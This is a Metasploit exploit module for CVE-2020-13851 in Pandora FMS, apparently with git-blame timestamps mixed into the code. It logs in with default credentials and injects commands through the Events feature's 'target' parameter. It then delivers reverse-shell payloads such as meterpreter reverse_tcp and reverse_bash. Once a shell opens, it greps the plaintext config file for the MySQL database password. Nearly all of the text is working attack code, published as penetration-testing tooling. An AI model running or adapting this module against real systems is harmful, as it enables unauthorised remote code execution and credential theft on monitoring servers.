2020-06-16 13:42:06 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
2020-07-01 10:30:36 -04:00
include Msf :: Exploit :: CmdStager
2020-07-09 16:43:18 -04:00
prepend Msf :: Exploit :: Remote :: AutoCheck
2020-06-16 13:42:06 -04:00
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Pandora FMS Events Remote Command Execution' ,
'Description' = > %q{
This module exploits a vulnerability (CVE-2020-13851) in Pandora
FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
older versions) in order to execute arbitrary commands.
This module takes advantage of a command injection vulnerability in the
`Events` feature of Pandora FMS. This flaw allows users to execute
arbitrary commands via the `target` parameter in HTTP POST requests to
the `Events` function. After authenticating to the target, the module
attempts to exploit this flaw by issuing such an HTTP POST request,
with the `target` parameter set to contain the payload. If a shell is
obtained, the module will try to obtain the local MySQL database
password via a simple `grep` command on the plaintext
`/var/www/html/pandora_console/include/config.php` file.
Valid credentials for a Pandora FMS account are required. The account
does not need to have admin privileges.
This module has been successfully tested on Pandora 7.0 NG 744 running
on CentOS 7 (the official virtual appliance ISO for this version).
} ,
'License' = > MSF_LICENSE ,
2021-08-27 17:15:33 +01:00
'Author' = > [
'Fernando Catoira' , # Discovery
'Julio Sanchez' , # Discovery
'Erik Wynter' # @wyntererik - Metasploit
] ,
'References' = > [
[ 'CVE' , '2020-13851' ] , # RCE via the `events` feature
[ 'URL' , 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities' ]
] ,
2020-07-09 16:15:53 -04:00
'Platform' = > [ 'linux' , 'unix' ] ,
'Arch' = > [ ARCH_X86 , ARCH_X64 , ARCH_CMD ] ,
2021-08-27 17:15:33 +01:00
'Targets' = > [
2020-07-01 10:30:36 -04:00
[
2021-08-27 17:15:33 +01:00
'Linux (x86)' , {
'Arch' = > ARCH_X86 ,
'Platform' = > 'linux' ,
'DefaultOptions' = > {
'PAYLOAD' = > 'linux/x86/meterpreter/reverse_tcp'
2020-07-01 10:30:36 -04:00
}
2021-08-27 17:15:33 +01:00
}
] ,
[
'Linux (x64)' , {
'Arch' = > ARCH_X64 ,
'Platform' = > 'linux' ,
'DefaultOptions' = > {
'PAYLOAD' = > 'linux/x64/meterpreter/reverse_tcp'
2020-07-01 10:30:36 -04:00
}
2021-08-27 17:15:33 +01:00
}
2020-07-01 10:30:36 -04:00
] ,
2021-08-27 17:15:33 +01:00
[
'Linux (cmd)' , {
'Arch' = > ARCH_CMD ,
'Platform' = > 'unix' ,
'DefaultOptions' = > {
'PAYLOAD' = > 'cmd/unix/reverse_bash'
}
}
]
] ,
2020-07-09 16:15:53 -04:00
'Privileged' = > false ,
2020-06-16 13:42:06 -04:00
'DisclosureDate' = > '2020-06-04' ,
2023-02-08 15:46:07 +00:00
'DefaultTarget' = > 1 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ]
}
2020-06-16 13:42:06 -04:00
)
)
register_options [
OptString . new ( 'TARGETURI' , [ true , 'Base path to Pandora FMS' , '/pandora_console/' ] ) ,
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate with' , 'admin' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'Password to authenticate with' , 'pandora' ] )
]
end
def check
vprint_status ( 'Running check' )
res = send_request_cgi 'uri' = > normalize_uri ( target_uri . path , 'index.php' )
unless res
return CheckCode :: Unknown ( 'Connection failed.' )
end
unless res . code == 200 && res . body . include? ( '<title>Pandora FMS - the Flexible Monitoring System</title>' )
return CheckCode :: Safe ( 'Target is not a Pandora FMS application.' )
end
@cookie = res . get_cookies
html = res . get_html_document
2020-07-09 16:15:53 -04:00
full_version = html . at ( 'div[@id="ver_num"]' )
2020-07-09 17:20:07 -04:00
2020-06-25 07:21:25 -04:00
if full_version . blank?
2020-06-16 13:42:06 -04:00
return CheckCode :: Detected ( 'Could not determine the Pandora FMS version.' )
end
2020-07-09 16:15:53 -04:00
full_version = full_version . text
2023-02-08 15:20:32 +00:00
version = full_version [ 1 .. ] . sub ( 'NG' , '' )
2020-06-16 13:42:06 -04:00
2020-06-25 07:21:25 -04:00
if version . blank?
2020-06-16 13:42:06 -04:00
return CheckCode :: Detected ( 'Could not determine the Pandora FMS version.' )
end
2021-02-17 12:33:59 +00:00
version = Rex :: Version . new version
2020-06-16 13:42:06 -04:00
2021-02-17 12:33:59 +00:00
unless version < = Rex :: Version . new ( '7.0.744' )
2020-06-25 07:21:25 -04:00
return CheckCode :: Safe ( " Target is Pandora FMS version #{ full_version } . " )
2020-06-16 13:42:06 -04:00
end
2020-06-25 07:21:25 -04:00
CheckCode :: Appears ( " Target is Pandora FMS version #{ full_version } . " )
2020-06-16 13:42:06 -04:00
end
def login ( user , pass )
vprint_status " Authenticating as #{ user } ... "
2020-07-09 16:15:53 -04:00
res = send_request_cgi! ( {
2020-06-16 13:42:06 -04:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'index.php' ) ,
'cookie' = > @cookie ,
'vars_get' = > { 'login' = > '1' } ,
'vars_post' = > {
'nick' = > user ,
'pass' = > pass ,
'login_button' = > 'Login'
}
} )
unless res . code == 200 && res . body . include? ( '<b>Pandora FMS Overview</b>' )
fail_with Failure :: NoAccess , 'Authentication failed'
end
print_good " Authenticated as user #{ user } . "
end
def on_new_session ( client )
super
2020-07-01 10:30:36 -04:00
if target . arch . first == ARCH_CMD
print_status ( 'Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.' )
client . shell_write ( " grep dbpass include/config.php \n " )
else
print_status ( 'Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.' )
end
2020-06-16 13:42:06 -04:00
end
def execute_command ( cmd , _opts = { } )
print_status ( 'Executing payload...' )
2020-06-25 07:21:25 -04:00
send_request_cgi ( {
2020-06-16 13:42:06 -04:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'ajax.php' ) ,
'cookie' = > @cookie ,
2020-06-25 07:21:25 -04:00
'ctype' = > 'application/x-www-form-urlencoded; charset=UTF-8' ,
2020-07-09 16:15:53 -04:00
'Referer' = > full_uri ( 'index.php' ) ,
2020-06-25 07:21:25 -04:00
'vars_get' = > {
'sec' = > 'eventos' ,
'sec2' = > 'operation/events/events'
2020-06-16 13:42:06 -04:00
} ,
2020-06-25 07:21:25 -04:00
'vars_post' = > {
'page' = > 'include/ajax/events' ,
'perform_event_response' = > '10000000' ,
'target' = > cmd . to_s ,
'response_id' = > '1'
}
2020-06-18 17:10:42 -04:00
} , 0 ) # the server will not send a response, so the module shouldn't wait for one
2020-06-16 13:42:06 -04:00
end
def exploit
login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
2020-07-01 10:30:36 -04:00
if target . arch . first == ARCH_CMD
execute_command payload . encoded
else
execute_cmdstager ( background : true )
end
2020-06-16 13:42:06 -04:00
end
end